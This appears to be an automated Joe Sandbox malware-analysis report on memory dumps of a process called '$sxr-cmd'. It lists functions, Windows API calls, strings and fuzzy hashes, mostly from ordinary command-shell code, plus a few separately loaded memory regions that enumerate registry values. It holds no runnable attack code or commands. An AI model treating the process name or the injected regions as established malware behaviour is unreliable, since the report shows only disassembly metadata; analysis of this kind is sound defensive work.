Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Enum$Openwcsrchr
String ID: %s=%s$.$\Shell\Open\Command
API String ID: 3402383852-1459555574
Opcode ID: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction ID: 0d953309abcc0be7c4bb8e621d5becd839b2e21b27a5a8bab54d274caa1d9178
Opcode Fuzzy Hash: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction Fuzzy Hash: 71A1A361A09E4282EF90AB5590502BAE2E0FF85BB0FC44531DA5D2B7E4DF7ED959C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F7610 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137F768B
memset.MSVCRT ref: 00007FF7137F76B4

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137F77F5
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137F7815

Part of subcall function 00007FF7137F8198: wcscmp.MSVCRT ref: 00007FF7137F81EA
Part of subcall function 00007FF7137F8198: wcscmp.MSVCRT ref: 00007FF7137F81FD

Strings

%s, xrefs: 00007FF7137FFC14

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$wcscmp
String ID: %s
API String ID: 243296809-3043279178
Opcode ID: 35b6f1010dc1ef857b77676c4f7a499f7a1f1047feda36267f0d1b8956f40b96
Instruction ID: ae5d37ffa45314bf27acf194f82f51a372f580574359ba83a656699f0a68d4a7
Opcode Fuzzy Hash: 35b6f1010dc1ef857b77676c4f7a499f7a1f1047feda36267f0d1b8956f40b96
Instruction Fuzzy Hash: E3A19322709BC696EBA1EB21D8803F9A395FB4C7A8F904135CA5D57695DF3CE64CC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E1F90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E2058

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

memset.MSVCRT ref: 00007FF7137E20C1
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137E20D2
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137E2117
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E21DC

Strings

DIRCMD, xrefs: 00007FF7137E20C9, 00007FF7137E2109

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$EnvironmentVariable
String ID: DIRCMD
API String ID: 1405722092-1465291664
Opcode ID: b57441518c80c6c975e78a206d29843445d204bab782f52da51c6cf931825d4e
Instruction ID: 6633c139d9d0e7b4c3d4118fa803aaa425a819b88f71cf1c88f6e021d4a44433
Opcode Fuzzy Hash: b57441518c80c6c975e78a206d29843445d204bab782f52da51c6cf931825d4e
Instruction Fuzzy Hash: 98816072A18BC28AEB60EF60E8802ED77A5FB48758F504139DA4D77B58DF38D2598710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E99F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137ECD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDA6
Part of subcall function 00007FF7137ECD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDBD

wcschr.MSVCRT ref: 00007FF7137E9A39

Part of subcall function 00007FF7137EDF60: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF7137ECEAA), ref: 00007FF7137EDFB8
Part of subcall function 00007FF7137EDF60: RtlFreeHeap.NTDLL ref: 00007FF7137EDFCC
Part of subcall function 00007FF7137EDF60: _setjmp.MSVCRT ref: 00007FF7137EE03E

wcschr.MSVCRT ref: 00007FF7137E9AF0
wcschr.MSVCRT ref: 00007FF7137E9B0F

Part of subcall function 00007FF7137E96E8: memset.MSVCRT ref: 00007FF7137E97B2
Part of subcall function 00007FF7137E96E8: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E9880

_wcsupr.MSVCRT ref: 00007FF7137FB844
wcscmp.MSVCRT ref: 00007FF7137FB86D

Strings

FOR, xrefs: 00007FF7137FB863
IF, xrefs: 00007FF7137FB850

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$wcschr$Process$AllocateFree_setjmp_wcsuprmemsetwcscmp
String ID: FOR$ IF
API String ID: 557945885-2924197646
Opcode ID: 012d4e0aad7e1382614acb10a6537d507bdfce538949b726c19ff0d56bac9c31
Instruction ID: e47938f32e72be3a209bdc3edcc99f742a0bc22bc730961b248fd2ecd914ef1f
Opcode Fuzzy Hash: 012d4e0aad7e1382614acb10a6537d507bdfce538949b726c19ff0d56bac9c31
Instruction Fuzzy Hash: C9519C21B09E4285FE94BB259490279A691BF8DBB0BC84235D92E777D1DE3CA80DC370

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EF173 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF7137EF0D6
iswspace.MSVCRT ref: 00007FF7137EF1BA
wcschr.MSVCRT ref: 00007FF7137EF1E7
iswdigit.MSVCRT ref: 00007FF7137EF1FF
iswdigit.MSVCRT ref: 00007FF7137EF2BB

Strings

=,;, xrefs: 00007FF7137EF1CE
), xrefs: 00007FF7137EF18C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigit$iswspacewcschr
String ID: )$=,;
API String ID: 1959970872-2167043656
Opcode ID: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
Instruction ID: 923196bc6ffc9c564d2f85415a012f2558191f06133763861d6b238fd77a2293
Opcode Fuzzy Hash: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
Instruction Fuzzy Hash: 2841CF66E08E5685FBE06F15A484379F6A0BF19771FC54231CA8D32AA0DF3CA49D8730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380BA40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

iswalpha.MSVCRT ref: 00007FF71380BABA
towupper.MSVCRT ref: 00007FF71380BAD1
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380BB13
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71380BB2F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71380BB48

Strings

:, xrefs: 00007FF71380BAAF
%04X-%04X, xrefs: 00007FF71380BBBB

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorLast$InformationVolumeiswalphatowupper
String ID: %04X-%04X$:
API String ID: 930873262-1938371929
Opcode ID: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction ID: a4dad5fbf99fddd9a16597a33b49c86a8f5a303b10cdcc3942712a5ee1901fb5
Opcode Fuzzy Hash: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction Fuzzy Hash: 49417021A08E42C6FBA1AB60E4502BAE6A0FB88720FC04135D99D676D5DF7ED55DC730

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002155A5B10AB
RegEnumValueW.ADVAPI32 ref: 000002155A5B110E
GetProcessHeap.KERNEL32 ref: 000002155A5B1155
HeapAlloc.KERNEL32 ref: 000002155A5B1163
GetProcessHeap.KERNEL32 ref: 000002155A5B1187
HeapFree.KERNEL32 ref: 000002155A5B1195

Strings

d, xrefs: 000002155A5B10CE

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction ID: 6fb92bfacac448434563605237513f3020ce1b1d14753658103401a21867c811
Opcode Fuzzy Hash: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction Fuzzy Hash: A8418333614B94EBEB608F51E5487DAB7A2F399799F408125EB8907B58DF38D158CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F36EC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF7137F3715
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF7137F3770
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F3791
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FE96E
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF7137FE9A7
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FE9D5

Strings

.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF7137F3703

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
API String ID: 3249344982-2616576482
Opcode ID: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction ID: 260ced913d1dfc1ad1608cfb4cf4de978366554741c46f2c706c5185df52fdc6
Opcode Fuzzy Hash: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction Fuzzy Hash: 70416F72618F4186F3909F12A884769FAA4FB4DBE4F844238DA4E17B94CF7DD018CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F6A28 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF7137F6A73
wcschr.MSVCRT ref: 00007FF7137F6A91
wcschr.MSVCRT ref: 00007FF7137F6AB0
wcschr.MSVCRT ref: 00007FF7137F6AE3
wcschr.MSVCRT ref: 00007FF7137F6B01

Strings

<>+-*/%()|^&=,, xrefs: 00007FF7137F6A8A, 00007FF7137F6AF7
+-~!, xrefs: 00007FF7137F6AA9, 00007FF7137F6ADC

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$iswdigit
String ID: +-~!$<>+-*/%()|^&=,
API String ID: 2770779731-632268628
Opcode ID: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
Instruction ID: 9bdf456648589e8ebf1ad5e51906ab4fced671ae921061500d75042b170560d1
Opcode Fuzzy Hash: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
Instruction Fuzzy Hash: B0315C22A08F56C5EB90AF11E490278B7E4FB49FA5B958135DA5E23354EF3DE81CC720

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B7690 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002155A5B76B8
__scrt_acquire_startup_lock.LIBCMT ref: 000002155A5B770A
_RTC_Initialize.LIBCMT ref: 000002155A5B7738
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002155A5B775E
__scrt_release_startup_lock.LIBCMT ref: 000002155A5B7789

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: f4dfcc18c15c868bdd044af8da8f32cc177cd271fbdd49f31caf34b4bcce3ba0
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 10810531602E28FAFE509B36984DFD96293B7E7B8EFD44494BA0647796DB38C40D8700

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A586A90 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002155A586AB8
__scrt_acquire_startup_lock.LIBCMT ref: 000002155A586B0A
_RTC_Initialize.LIBCMT ref: 000002155A586B38
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002155A586B5E
__scrt_release_startup_lock.LIBCMT ref: 000002155A586B89

Memory Dump Source

Source File: 0000000D.00000002.3355953691.000002155A580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002155A580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a580000_$sxr-cmd.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 5b1ae83516856f57822cff817a483ad25a540ed52fee580306a7bc6bc9609a31
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 6C81D331600E63EAFF50AB259849BD922D3A7F578CFE444A4BA055BB96DB38C84DC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380D878 Relevance: 12.1, APIs: 8, Instructions: 89fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF71380D899
FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380D8A8
_get_osfhandle.MSVCRT ref: 00007FF71380D8D7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380D8F1
_get_osfhandle.MSVCRT ref: 00007FF71380D8FF
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380D921
_get_osfhandle.MSVCRT ref: 00007FF71380D969
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380D983

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: File_get_osfhandle$Pointer$BuffersFlushRead
String ID:
API String ID: 3192234081-0
Opcode ID: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
Instruction ID: 06ea72d9652922268fea0a0da2dac42b51bafdbc17577cb94fc726b8acb65212
Opcode Fuzzy Hash: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
Instruction Fuzzy Hash: 8B319331708A418BE790AF25A44467DFB90FB89BA0F849234DE8A67795CE7DD41D8B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F1630 Relevance: 10.7, APIs: 7, Instructions: 208memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,00000000,?,00007FF7137F14D6,?,?,?,00007FF7137EAA22,?,?,?,00007FF7137E847E), ref: 00007FF7137F1673
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF7137F14D6,?,?,?,00007FF7137EAA22,?,?,?,00007FF7137E847E), ref: 00007FF7137F168D
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF7137F14D6,?,?,?,00007FF7137EAA22,?,?,?,00007FF7137E847E), ref: 00007FF7137F1757
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF7137F14D6,?,?,?,00007FF7137EAA22,?,?,?,00007FF7137E847E), ref: 00007FF7137F176E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF7137F14D6,?,?,?,00007FF7137EAA22,?,?,?,00007FF7137E847E), ref: 00007FF7137F1788
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF7137F14D6,?,?,?,00007FF7137EAA22,?,?,?,00007FF7137E847E), ref: 00007FF7137F179C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$Alloc$Size
String ID:
API String ID: 3586862581-0
Opcode ID: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
Instruction ID: c80c5c725d3ad950deabf466cf5294120e38fb49faa4ca6fd3d6b27a7422ba53
Opcode Fuzzy Hash: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
Instruction Fuzzy Hash: E9918122A09E4281EB90AF15E480278F7A4FB49BB4F958135DA6D237A4DF3DE45DC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F86F0 Relevance: 10.7, APIs: 7, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F88C0: NtOpenThreadToken.NTDLL ref: 00007FF7137F88E7
Part of subcall function 00007FF7137F88C0: NtOpenProcessToken.NTDLL ref: 00007FF7137F8907
Part of subcall function 00007FF7137F88C0: NtClose.NTDLL ref: 00007FF7137F896C

SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF7137F87D7
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF7137F8807
RtlNtStatusToDosError.NTDLL ref: 00007FF71380517E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71380518C
GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF7138051FD
wcsstr.MSVCRT ref: 00007FF713805219
wcsstr.MSVCRT ref: 00007FF713805236

Part of subcall function 00007FF7137F885C: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F88A2

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
String ID:
API String ID: 1313749407-0
